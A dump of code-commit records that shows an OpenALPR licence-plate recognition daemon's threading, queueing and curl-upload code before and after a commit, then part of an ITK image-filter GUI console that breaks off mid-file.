char** argv )\n{\n daemon_active = true;\n\n bool noDaemon = false;\n std::string logFile;\n int topn;\n \n std::string configFile;\n std::string country;\n\n TCLAP::CmdLine cmd(\"OpenAlpr Daemon\", ' ', Alpr::getVersion());\n\n TCLAP::ValueArg<std::string> countryCodeArg(\"c\",\"country\",\"Country code to identify (either us for USA or eu for Europe). Default=us\",false, \"us\" ,\"country_code\");\n TCLAP::ValueArg<std::string> configFileArg(\"\",\"config\",\"Path to the openalpr.conf file.\",false, \"\" ,\"config_file\");\n TCLAP::ValueArg<int> topNArg(\"n\",\"topn\",\"Max number of possible plate numbers to return. Default=10\",false, 10 ,\"topN\");\n TCLAP::ValueArg<std::string> logFileArg(\"l\",\"log\",\"Log file to write to. Default=\" + DEFAULT_LOG_FILE_PATH,false, DEFAULT_LOG_FILE_PATH ,\"topN\");\n\n TCLAP::SwitchArg daemonOffSwitch(\"f\",\"foreground\",\"Set this flag for debugging. Disables forking the process as a daemon and runs in the foreground. Default=off\", cmd, false);\n\n try\n {\n \n cmd.add( topNArg );\n cmd.add( configFileArg );\n cmd.add( logFileArg );\n\n \n if (cmd.parse( argc, argv ) == false)\n {\n \/\/ Error occured while parsing. Exit now.\n return 1;\n }\n\n country = countryCodeArg.getValue();\n configFile = configFileArg.getValue();\n logFile = logFileArg.getValue();\n topn = topNArg.getValue();\n noDaemon = daemonOffSwitch.getValue();\n }\n catch (TCLAP::ArgException &e) \/\/ catch any exceptions\n {\n std::cerr << \"error: \" << e.error() << \" for arg \" << e.argId() << std::endl;\n return 1;\n }\n \n if (noDaemon == false)\n {\n \/\/ Fork off into a separate daemon\n daemon(0, 0);\n \n \/\/ Redirect std out to log file\n \n std::ofstream out(logFile.c_str());\n std::cout.rdbuf(out.rdbuf());\n std::cerr.rdbuf(out.rdbuf());\n \n std::cout << \"Running OpenALPR daemon in daemon mode.\" << std::endl;\n }\n else\n {\n std::cout << \"Running OpenALPR daemon in the foreground\" << std::endl;\n }\n \n CSimpleIniA ini;\n ini.SetMultiKey();\n \n ini.LoadFile(WTS_CONFIG_FILE_PATH.c_str());\n \n std::vector<std::string> stream_urls;\n \n \n CSimpleIniA::TNamesDepend values;\n ini.GetAllValues(\"daemon\", \"stream\", values);\n\n \/\/ sort the values into the original load order\n values.sort(CSimpleIniA::Entry::LoadOrder());\n\n \/\/ output all of the items\n CSimpleIniA::TNamesDepend::const_iterator i;\n for (i = values.begin(); i != values.end(); ++i) { \n stream_urls.push_back(i->pItem);\n }\n \n \n if (stream_urls.size() == 0)\n {\n std::cout << \"No video streams defined in the configuration\" << std::endl;\n return 1;\n }\n \n std::string imageFolder = ini.GetValue(\"daemon\", \"image_folder\", \"\/tmp\/\");\n std::string upload_url = ini.GetValue(\"daemon\", \"upload_address\", \"\");\n std::string site_id = ini.GetValue(\"daemon\", \"site_id\", \"\");\n \n std::cout << \"Using: \" << imageFolder << \" for storing valid plate images\" << std::endl;\n \n for (int i = 0; i < stream_urls.size(); i++)\n {\n CaptureThreadData* tdata = new CaptureThreadData();\n tdata->stream_url = stream_urls[i];\n tdata->camera_id = i + 1;\n tdata->config_file = configFile;\n tdata->output_image_folder = imageFolder;\n tdata->country_code = country;\n tdata->site_id = site_id;\n \n tthread::thread* t = new tthread::thread(streamRecognitionThread, (void*) tdata);\n }\n\n \/\/ Kick off the data upload thread\n UploadThreadData* udata = new UploadThreadData();\n udata->upload_url = upload_url;\n tthread::thread* t = new tthread::thread(dataUploadThread, (void*) udata );\n\n while (daemon_active)\n {\n usleep(30000);\n }\n\n}\n\n\nvoid streamRecognitionThread(void* arg)\n{\n CaptureThreadData* tdata = (CaptureThreadData*) arg;\n \n std::cout << \"country: \" << tdata->country_code << \" -- config file: \" << tdata->config_file << std::endl;\n std::cout << \"Stream \" << tdata->camera_id << \": \" << tdata->stream_url << std::endl;\n \n Alpr alpr(tdata->country_code, tdata->config_file);\n \n \n std::cout << \"asdf\" << std::endl;\n \n \n int framenum = 0;\n \n VideoBuffer videoBuffer;\n \n videoBuffer.connect(tdata->stream_url, 5);\n \n cv::Mat latestFrame;\n \n std::vector<uchar> buffer;\n \n std::cout << \"Daemon active: \" << daemon_active << std::endl;\n \n while (daemon_active)\n {\n int response = videoBuffer.getLatestFrame(&latestFrame);\n \n if (response != -1)\n {\n cv::imencode(\".bmp\", latestFrame, buffer );\n std::vector<AlprResult> results = alpr.recognize(buffer);\n \n if (results.size() > 0)\n {\n\t\/\/ Create a UUID for the image\n\tstd::string uuid = newUUID();\n\t\n\t\/\/ Save the image to disk (using the UUID)\n\tstd::stringstream ss;\n\tss << tdata->output_image_folder << \"\/\" << uuid << \".jpg\";\n\t\n\tcv::imwrite(ss.str(), latestFrame);\n\t\n\t\/\/ Update the JSON content to include UUID and camera ID\n\tcJSON *root;\n \n\troot=cJSON_CreateObject();\t\n \n\tstd::string json = alpr.toJson(results);\n\t\n\tcJSON *array = cJSON_Parse(json.c_str());\n\tcJSON_AddStringToObject(root,\t\"uuid\",\t\tuuid.c_str());\n\tcJSON_AddNumberToObject(root,\t\"camera_id\",\ttdata->camera_id);\n\tcJSON_AddStringToObject(root, \"site-id\", \ttdata->site_id.c_str());\n\tcJSON_AddItemToObject(root, \t\"results\", \tarray);\n\n\tchar *out;\n\tout=cJSON_PrintUnformatted(root);\n\tcJSON_Delete(root);\n\t\n\tstd::string response(out);\n\t\n\tfree(out);\n\t\n\t\/\/ Push the results to the Beanstalk queue\n\twriteToQueue(response);\n }\n }\n \n usleep(10000);\n }\n \n \n videoBuffer.disconnect();\n \n std::cout << \"Video processing ended\" << std::endl;\n \n delete tdata;\n}\n\n\nbool writeToQueue(std::string jsonResult)\n{\n \n Beanstalk::Client client(BEANSTALK_QUEUE_HOST, BEANSTALK_PORT);\n client.use(BEANSTALK_TUBE_NAME);\n\n int id = client.put(jsonResult);\n \n if (id <= 0)\n return false;\n \n std::cout << \"put job id: \" << id << std::endl;\n\n return true;\n}\n\n\n\nvoid dataUploadThread(void* arg)\n{\n \n UploadThreadData* udata = (UploadThreadData*) arg;\n \n Beanstalk::Client client(BEANSTALK_QUEUE_HOST, BEANSTALK_PORT);\n\n \n client.watch(BEANSTALK_TUBE_NAME);\n \n while(daemon_active)\n {\n Beanstalk::Job job;\n \n client.reserve(job);\n \n if (job.id() > 0)\n {\n if (uploadPost(udata->upload_url, job.body()))\n {\n\tclient.del(job.id());\n\tstd::cout << \"Job: \" << job.id() << \" successfully uploaded\" << std::endl;\n }\n else\n {\n\tclient.release(job);\n\tstd::cout << \"Job: \" << job.id() << \" failed to upload. Will retry.\" << std::endl;\n }\n }\n \n usleep(10000);\n }\n \n}\n\n\nbool uploadPost(std::string url, std::string data)\n{\n bool success = true;\n CURL *curl;\n CURLcode res;\n \n \/* In windows, this will init the winsock stuff *\/ \n curl_global_init(CURL_GLOBAL_ALL);\n \n \/* get a curl handle *\/ \n curl = curl_easy_init();\n if(curl) {\n \/* First set the URL that is about to receive our POST. This URL can\n just as well be a https:\/\/ URL if that is what should receive the\n data. *\/ \n curl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n \/* Now specify the POST data *\/ \n curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());\n \n \/* Perform the request, res will get the return code *\/ \n res = curl_easy_perform(curl);\n \/* Check for errors *\/ \n if(res != CURLE_OK)\n {\n success = false;\n }\n \n \/* always cleanup *\/ \n curl_easy_cleanup(curl);\n }\n curl_global_cleanup();\n \n return success;\n\n \n}<commit_msg>Updated POSTS to work with web server<commit_after>\n#include <unistd.h>\n#include <sstream>\n\n#include \"tclap\/CmdLine.h\"\n#include \"beanstalk.hpp\"\n#include \"alpr.h\"\n#include \"openalpr\/simpleini\/simpleini.h\"\n#include \"openalpr\/cjson.h\"\n#include \"support\/tinythread.h\"\n#include \"videobuffer.h\"\n#include \"uuid.h\"\n#include <curl\/curl.h>\n\n\n\/\/ prototypes\nvoid streamRecognitionThread(void* arg);\nbool writeToQueue(std::string jsonResult);\nbool uploadPost(std::string url, std::string data);\nvoid dataUploadThread(void* arg);\n\n\/\/ Constants\nconst std::string DEFAULT_LOG_FILE_PATH=\"\/var\/log\/openalpr.log\";\nconst std::string WTS_CONFIG_FILE_PATH=\"\/etc\/openalpr\/wts.conf\";\n\nconst std::string BEANSTALK_QUEUE_HOST=\"127.0.0.1\";\nconst int BEANSTALK_PORT=11300;\nconst std::string BEANSTALK_TUBE_NAME=\"alpr\";\n\nstruct CaptureThreadData\n{\n std::string stream_url;\n std::string site_id;\n int camera_id;\n \n std::string config_file;\n std::string country_code;\n std::string output_image_folder;\n};\n\nstruct UploadThreadData\n{\n std::string upload_url;\n};\n\nbool daemon_active;\n\nint main( int argc, const char** argv )\n{\n daemon_active = true;\n\n bool noDaemon = false;\n std::string logFile;\n int topn;\n \n std::string configFile;\n std::string country;\n\n TCLAP::CmdLine cmd(\"OpenAlpr Daemon\", ' ', Alpr::getVersion());\n\n TCLAP::ValueArg<std::string> countryCodeArg(\"c\",\"country\",\"Country code to identify (either us for USA or eu for Europe). Default=us\",false, \"us\" ,\"country_code\");\n TCLAP::ValueArg<std::string> configFileArg(\"\",\"config\",\"Path to the openalpr.conf file.\",false, \"\" ,\"config_file\");\n TCLAP::ValueArg<int> topNArg(\"n\",\"topn\",\"Max number of possible plate numbers to return. Default=10\",false, 10 ,\"topN\");\n TCLAP::ValueArg<std::string> logFileArg(\"l\",\"log\",\"Log file to write to. Default=\" + DEFAULT_LOG_FILE_PATH,false, DEFAULT_LOG_FILE_PATH ,\"topN\");\n\n TCLAP::SwitchArg daemonOffSwitch(\"f\",\"foreground\",\"Set this flag for debugging. Disables forking the process as a daemon and runs in the foreground. Default=off\", cmd, false);\n\n try\n {\n \n cmd.add( topNArg );\n cmd.add( configFileArg );\n cmd.add( logFileArg );\n\n \n if (cmd.parse( argc, argv ) == false)\n {\n \/\/ Error occured while parsing. Exit now.\n return 1;\n }\n\n country = countryCodeArg.getValue();\n configFile = configFileArg.getValue();\n logFile = logFileArg.getValue();\n topn = topNArg.getValue();\n noDaemon = daemonOffSwitch.getValue();\n }\n catch (TCLAP::ArgException &e) \/\/ catch any exceptions\n {\n std::cerr << \"error: \" << e.error() << \" for arg \" << e.argId() << std::endl;\n return 1;\n }\n \n if (noDaemon == false)\n {\n \/\/ Fork off into a separate daemon\n daemon(0, 0);\n \n \/\/ Redirect std out to log file\n \n std::ofstream out(logFile.c_str());\n std::cout.rdbuf(out.rdbuf());\n std::cerr.rdbuf(out.rdbuf());\n \n std::cout << \"Running OpenALPR daemon in daemon mode.\" << std::endl;\n }\n else\n {\n std::cout << \"Running OpenALPR daemon in the foreground\" << std::endl;\n }\n \n CSimpleIniA ini;\n ini.SetMultiKey();\n \n ini.LoadFile(WTS_CONFIG_FILE_PATH.c_str());\n \n std::vector<std::string> stream_urls;\n \n \n CSimpleIniA::TNamesDepend values;\n ini.GetAllValues(\"daemon\", \"stream\", values);\n\n \/\/ sort the values into the original load order\n values.sort(CSimpleIniA::Entry::LoadOrder());\n\n \/\/ output all of the items\n CSimpleIniA::TNamesDepend::const_iterator i;\n for (i = values.begin(); i != values.end(); ++i) { \n stream_urls.push_back(i->pItem);\n }\n \n \n if (stream_urls.size() == 0)\n {\n std::cout << \"No video streams defined in the configuration\" << std::endl;\n return 1;\n }\n \n std::string imageFolder = ini.GetValue(\"daemon\", \"image_folder\", \"\/tmp\/\");\n std::string upload_url = ini.GetValue(\"daemon\", \"upload_address\", \"\");\n std::string site_id = ini.GetValue(\"daemon\", \"site_id\", \"\");\n \n std::cout << \"Using: \" << imageFolder << \" for storing valid plate images\" << std::endl;\n \n for (int i = 0; i < stream_urls.size(); i++)\n {\n CaptureThreadData* tdata = new CaptureThreadData();\n tdata->stream_url = stream_urls[i];\n tdata->camera_id = i + 1;\n tdata->config_file = configFile;\n tdata->output_image_folder = imageFolder;\n tdata->country_code = country;\n tdata->site_id = site_id;\n \n tthread::thread* t = new tthread::thread(streamRecognitionThread, (void*) tdata);\n }\n\n \/\/ Kick off the data upload thread\n UploadThreadData* udata = new UploadThreadData();\n udata->upload_url = upload_url;\n tthread::thread* t = new tthread::thread(dataUploadThread, (void*) udata );\n\n while (daemon_active)\n {\n usleep(30000);\n }\n\n}\n\n\nvoid streamRecognitionThread(void* arg)\n{\n CaptureThreadData* tdata = (CaptureThreadData*) arg;\n \n std::cout << \"country: \" << tdata->country_code << \" -- config file: \" << tdata->config_file << std::endl;\n std::cout << \"Stream \" << tdata->camera_id << \": \" << tdata->stream_url << std::endl;\n \n Alpr alpr(tdata->country_code, tdata->config_file);\n \n \n std::cout << \"asdf\" << std::endl;\n \n \n int framenum = 0;\n \n VideoBuffer videoBuffer;\n \n videoBuffer.connect(tdata->stream_url, 5);\n \n cv::Mat latestFrame;\n \n std::vector<uchar> buffer;\n \n std::cout << \"Daemon active: \" << daemon_active << std::endl;\n \n while (daemon_active)\n {\n int response = videoBuffer.getLatestFrame(&latestFrame);\n \n if (response != -1)\n {\n cv::imencode(\".bmp\", latestFrame, buffer );\n std::vector<AlprResult> results = alpr.recognize(buffer);\n \n if (results.size() > 0)\n {\n\t\/\/ Create a UUID for the image\n\tstd::string uuid = newUUID();\n\t\n\t\/\/ Save the image to disk (using the UUID)\n\tstd::stringstream ss;\n\tss << tdata->output_image_folder << \"\/\" << uuid << \".jpg\";\n\t\n\tcv::imwrite(ss.str(), latestFrame);\n\t\n\t\/\/ Update the JSON content to include UUID and camera ID\n\tcJSON *root;\n \n\troot=cJSON_CreateObject();\t\n \n\tstd::string json = alpr.toJson(results);\n\t\n\tcJSON *array = cJSON_Parse(json.c_str());\n\tcJSON_AddStringToObject(root,\t\"uuid\",\t\tuuid.c_str());\n\tcJSON_AddNumberToObject(root,\t\"camera_id\",\ttdata->camera_id);\n\tcJSON_AddStringToObject(root, \"site-id\", \ttdata->site_id.c_str());\n\tcJSON_AddItemToObject(root, \t\"results\", \tarray);\n\n\tchar *out;\n\tout=cJSON_PrintUnformatted(root);\n\tcJSON_Delete(root);\n\t\n\tstd::string response(out);\n\t\n\tfree(out);\n\t\n\t\/\/ Push the results to the Beanstalk queue\n\twriteToQueue(response);\n }\n }\n \n usleep(10000);\n }\n \n \n videoBuffer.disconnect();\n \n std::cout << \"Video processing ended\" << std::endl;\n \n delete tdata;\n}\n\n\nbool writeToQueue(std::string jsonResult)\n{\n \n Beanstalk::Client client(BEANSTALK_QUEUE_HOST, BEANSTALK_PORT);\n client.use(BEANSTALK_TUBE_NAME);\n\n int id = client.put(jsonResult);\n \n if (id <= 0)\n return false;\n \n std::cout << \"put job id: \" << id << std::endl;\n\n return true;\n}\n\n\n\nvoid dataUploadThread(void* arg)\n{\n \n \/* In windows, this will init the winsock stuff *\/ \n curl_global_init(CURL_GLOBAL_ALL);\n \n \n UploadThreadData* udata = (UploadThreadData*) arg;\n \n Beanstalk::Client client(BEANSTALK_QUEUE_HOST, BEANSTALK_PORT);\n\n \n client.watch(BEANSTALK_TUBE_NAME);\n \n while(daemon_active)\n {\n Beanstalk::Job job;\n \n client.reserve(job);\n \n if (job.id() > 0)\n {\n if (uploadPost(udata->upload_url, job.body()))\n {\n\tclient.del(job.id());\n\tstd::cout << \"Job: \" << job.id() << \" successfully uploaded\" << std::endl;\n }\n else\n {\n\tclient.release(job);\n\tstd::cout << \"Job: \" << job.id() << \" failed to upload. Will retry.\" << std::endl;\n }\n }\n \n usleep(10000);\n }\n \n curl_global_cleanup();\n}\n\n\nbool uploadPost(std::string url, std::string data)\n{\n bool success = true;\n CURL *curl;\n CURLcode res;\n \n \n \/* get a curl handle *\/ \n curl = curl_easy_init();\n if(curl) {\n \/* First set the URL that is about to receive our POST. This URL can\n just as well be a https:\/\/ URL if that is what should receive the\n data. *\/ \n curl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n \/* Now specify the POST data *\/ \n \/\/char* escaped_data = curl_easy_escape(curl, data.c_str(), data.length());\n curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());\n \/\/curl_free(escaped_data);\n \n \/* Perform the request, res will get the return code *\/ \n res = curl_easy_perform(curl);\n \/* Check for errors *\/ \n if(res != CURLE_OK)\n {\n success = false;\n }\n \n \/* always cleanup *\/ \n curl_easy_cleanup(curl);\n }\n \n return success;\n\n \n}<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: liFilterConsole2D.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 2002 Insight Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n#include <liFilterConsole2D.h>\n#include <FL\/fl_file_chooser.H>\n \n\n\n\/************************************\n *\n * Constructor\n *\n ***********************************\/\nliFilterConsole2D\n::liFilterConsole2D()\n{\n \n\n m_InputViewer = InputImageViewerType::New();\n\n m_Viewer_H1x = ImageViewerType::New();\n m_Viewer_H1y = ImageViewerType::New();\n\n m_Viewer_H2x = ImageViewerType::New();\n m_Viewer_H2y = ImageViewerType::New();\n\n m_Viewer_Laplacian = ImageViewerType::New();\n m_Viewer_Smoothed = ImageViewerType::New();\n m_Viewer_Gradient_Modulus = ImageViewerType::New();\n\n m_InputViewer->SetLabel( \"Input Image\" );\n\n m_Viewer_H1x->SetLabel( \"Gradient X\" );\n m_Viewer_H1y->SetLabel( \"Gradient Y\" );\n\n m_Viewer_H2x->SetLabel( \"Second Derivative X\" );\n m_Viewer_H2y->SetLabel( \"Second Derivative Y\" );\n\n m_Viewer_Laplacian->SetLabel( \"Laplacian\" );\n m_Viewer_Smoothed->SetLabel( \"Smoothed\" );\n m_Viewer_Gradient_Modulus->SetLabel( \"Gradient Modulus\" );\n\n\n progressSlider->Observe( m_Hx.GetPointer() );\n progressSlider->Observe( m_Hy.GetPointer() );\n progressSlider->Observe( m_H1x.GetPointer() );\n progressSlider->Observe( m_H1y.GetPointer() );\n progressSlider->Observe( m_H2x.GetPointer() );\n progressSlider->Observe( m_H2y.GetPointer() );\n progressSlider->Observe( m_Laplacian.GetPointer() );\n progressSlider->Observe( m_Smoothed.GetPointer() );\n progressSlider->Observe( m_Modulus.GetPointer() );\n progressSlider->Observe( m_IntensityScaleSmoothed.GetPointer() );\n progressSlider->Observe( m_IntensityScaleLaplacian.GetPointer() );\n progressSlider->Observe( m_IntensityScaleModulus.GetPointer() );\n progressSlider->Observe( m_WriterSmoothed.GetPointer() );\n progressSlider->Observe( m_WriterLaplacian.GetPointer() );\n progressSlider->Observe( m_WriterModulus.GetPointer() );\n \n loadButton->Observe( m_Reader.GetPointer() );\n inputButton->Observe( m_Reader.GetPointer() );\n HxButton->Observe( m_Hx.GetPointer() );\n HyButton->Observe( m_Hy.GetPointer() );\n H1xButton->Observe( m_H1x.GetPointer() );\n H1yButton->Observe( m_H1y.GetPointer() );\n H2xButton->Observe( m_H2x.GetPointer() );\n H2yButton->Observe( m_H2y.GetPointer() );\n laplacianButton->Observe( m_Laplacian.GetPointer() );\n smoothedButton->Observe( m_Smoothed.GetPointer() );\n modulusButton->Observe( m_Modulus.GetPointer() );\n\n m_Reader->AddObserver( itk::ModifiedEvent(), HxButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), HyButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H1xButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H1yButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H2xButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), H2yButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), laplacianButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), smoothedButton->GetRedrawCommand().GetPointer() );\n m_Reader->AddObserver( itk::ModifiedEvent(), modulusButton->GetRedrawCommand().GetPointer() );\n\n m_IntensityScaleModulus->SetScale( 0.2 );\n m_IntensityScaleSmoothed->SetScale( 0.2 );\n m_IntensityScaleLaplacian->SetScale( 0.2 );\n\n m_IntensityScaleModulus->SetShift( 1000 );\n m_IntensityScaleSmoothed->SetScale( 1000 );\n m_IntensityScaleLaplacian->SetScale( 1000 );\n\n this->ShowStatus(\"Let's start by loading an image...\");\n\n}\n\n\n\n\n\/************************************\n *\n * Destructor\n *\n ***********************************\/\nliFilterConsole2D\n::~liFilterConsole2D()\n{\n\n}\n\n\n\n \n\/************************************\n *\n * Load\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Load( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Loading image file...\");\n \n try \n {\n liFilterConsole2DBase::Load( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems reading file format\");\n controlsGroup->deactivate();\n return;\n }\n\n\n this->ShowStatus(\"File Loaded\");\n\n controlsGroup->activate();\n\n\n}\n\n \n\/************************************\n *\n * Show\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Show( void )\n{\n consoleWindow->show();\n}\n\n\n\n\n\n\/************************************\n *\n * Hide\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Hide( void )\n{\n\n consoleWindow->hide();\n m_Viewer_H1x->Hide();\n m_Viewer_H1y->Hide();\n m_Viewer_H2x->Hide();\n m_Viewer_H2y->Hide();\n m_InputViewer->Hide();\n m_Viewer_Laplacian->Hide();\n m_Viewer_Smoothed->Hide();\n m_Viewer_Gradient_Modulus->Hide();\n}\n\n\n\n\n\n\/************************************\n *\n * Quit\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Quit( void )\n{\n Hide();\n}\n\n\n\n\n \n\/************************************\n *\n * Show Status\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowStatus( const char * message )\n{\n liFilterConsole2DBase::ShowStatus( message );\n statusTextOutput->value( message );\n Fl::check();\n}\n\n\n\n\n \n\/************************************\n *\n * Show Input Image\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowInput( void )\n{\n\n if( ! (m_ImageLoaded) ) \n {\n this->ShowStatus(\"Please load an image first\");\n return;\n }\n\n m_InputViewer->SetImage( m_Reader->GetOutput() ); \n m_InputViewer->Show();\n\n}\n\n\n\n \n\/************************************\n *\n * Show Filtered Image\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowFilteredX( void )\n{\n\n m_H1x->Update();\n m_Viewer_H1x->SetImage( m_H1x->GetOutput() ); \n m_Viewer_H1x->Show();\n\n}\n\n\n \n\/************************************\n *\n * Show Filtered Image\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowFilteredY( void )\n{\n\n m_H1y->Update(); \n m_Viewer_H1y->SetImage( m_H1y->GetOutput() ); \n m_Viewer_H1y->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Show Second Derivative X\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowSecondDerivativeX( void )\n{\n\n m_H2x->Update();\n m_Viewer_H2x->SetImage( m_H2x->GetOutput() ); \n m_Viewer_H2x->Show();\n\n}\n\n\n \n\/************************************\n *\n * Show Second Derivative Y\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowSecondDerivativeY( void )\n{\n\n m_H2y->Update();\n m_Viewer_H2y->SetImage( m_H2y->GetOutput() ); \n m_Viewer_H2y->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Show Smoothed\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowSmoothed( void )\n{\n\n m_Smoothed->Update();\n m_Viewer_Smoothed->SetImage( m_Smoothed->GetOutput() ); \n m_Viewer_Smoothed->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Show Laplacian\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowLaplacian( void )\n{\n\n m_Laplacian->Update();\n m_Viewer_Laplacian->SetImage( m_Laplacian->GetOutput() ); \n m_Viewer_Laplacian->Show();\n\n}\n\n\n\n \n\/************************************\n *\n * Show Gradient Modulus\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::ShowGradientModulus( void )\n{\n\n m_Modulus->Update();\n m_Viewer_Gradient_Modulus->SetImage( m_Modulus->GetOutput() ); \n m_Viewer_Gradient_Modulus->Show();\n\n}\n\n\n\n\n \n\/************************************\n *\n * Execute\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::Execute( void )\n{\n\n if( ! (m_ImageLoaded) ) \n {\n this->ShowStatus(\"Please load an image first\");\n return;\n }\n\n\n this->ShowStatus(\"Filtering Image with a Gaussian...\");\n\n liFilterConsole2DBase::Execute();\n\n\n this->ShowStatus(\"Filtering done \");\n \n}\n\n\n\n\n\n \n\/************************************\n *\n * SaveLaplacian\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::SaveLaplacian( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Saving image file...\");\n \n try \n {\n liFilterConsole2DBase::SaveLaplacian( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems writing file format\");\n return;\n }\n\n this->ShowStatus(\"File Saved\");\n\n}\n\n\n\/************************************\n *\n * SaveModulus\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::SaveModulus( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Saving image file...\");\n \n try \n {\n liFilterConsole2DBase::SaveModulus( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems writing file format\");\n return;\n }\n\n this->ShowStatus(\"File Saved\");\n\n}\n\n\n\/************************************\n *\n * SaveSmoothed\n *\n ***********************************\/\nvoid\nliFilterConsole2D\n::SaveSmoothed( void )\n{\n\n const char * filename = fl_file_chooser(\"Image filename\",\"*.png\",\"\");\n if( !filename )\n {\n return;\n }\n\n this->ShowStatus(\"Saving image file...\");\n \n try \n {\n liFilterConsole2DBase::SaveSmoothed( filename );\n }\n catch( ... ) \n {\n this->ShowStatus(\"Problems writing file format\");\n return;\n }\n\n this->ShowStatus(\"File Saved\");\n\n}\n\n\n\n<commit_msg>ENH: The GaussianFilter is better scaled now, so the ShiftFilter is set to 1.0.<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: liFilterConsole2D.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 2002 Insight Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n#include <liFilterConsole2D.h>\n#include <FL\/fl_file_chooser.H>\n \n\n\n\/************************************\n *\n * Constructor\n *\n ***********************************\/\nliFilterConsole2D\n::liFilterConsole2D()\n{\n \n\n m_InputViewer = InputImageViewerType::New();\n\n m_Viewer_H1x = ImageViewerType::New();\n m_Viewer_H1y = ImageViewerType::New();\n\n m_Viewer_H2x = ImageViewerType::New();\n m_Viewer_H2y = ImageViewerType::New();\n\n m_Viewer_Laplacian = ImageViewerType::New();\n m_Viewer_Smoothed = ImageViewerType::New();\n m_Viewer_Gradient_Modulus = ImageViewerType::New();\n\n m_InputViewer->SetLabel( \"Input Image\" );\n\n m_Viewer_H1x->SetLabel( \"Gradient X\" );\n m_Viewer_H1y->SetLabel( \"Gradient Y\" );\n\n m_Viewer_H2x->SetLabel( \"Second Derivative X\" );\n m_Viewer_H2y->SetLabel( \"Second Derivative Y\" );\n\n m_Viewer_Laplacian->SetLabel( \"Laplacian\" );\n m_Viewer_Smoothed->SetLabel( \"Smoothed\" );\n m_Viewer_Gradient_Modulus->SetLabel( \"Gradient Modulus\" );\n\n\n progressSlider->Observe( m_Hx.GetPointer() );\n progressSlider->Observe( m_Hy.GetPointer() );\n progressSlider->Observe( m_H1x.GetPointer() );\n progressSlider->Observe( m_H1y.GetPointer() );\n progressSlider->Observe( m_H2x.GetPointer() );\n progressSlider->Observe( m_H2y.GetPointer() );\n progressSlider->Observe( m_Laplacian.GetPointer() );\n progressSlider->Observe( m_Smoothed.GetPointer() );\n progressSlider->Observe( m_Modulus.GetPointer() );\n progressSlider->Observe( m_IntensityScaleSmoothed.GetPointer() );\n progressSlider->Observe( m_IntensityScaleLaplacian.GetPointer() );\n progressSlider->Observe( m_IntensityScaleModulus.GetPointer() );\n progressSlider->Observe( m_WriterSmoothed.GetPointer() );\n progressSlider->Observe( m_WriterLaplacian.GetPointer() );\n progressSlider->Observe( m_WriterModulus.GetPointer() );\n \n loadButton->Observe( m_Reader.GetPointer() );\n inputButton->Observe( m_Reader.GetPointer() );\n HxButton->Observe( m_Hx.GetPointer() );\n HyButton->Observe( m_Hy.GetPointer() );\n H1xButton->Observe( m_H1x.GetPointer() );\n H1yButton->Observe( m_H1y.GetPointer() );\n H2xButton->Observe( m_H2x.GetPointer() );\n H2yButton->Observe( m_H2y.GetPointer() );\n laplacianButton->Observe( m_Laplacian.GetPointer() );\n smoothedButton->Observe( m_Smoothed.GetPointer() );\n modulusButton->Observe( m_Modulus.GetPointer() );\n\n m_Reader->AddObserver( itk::ModifiedEvent(), 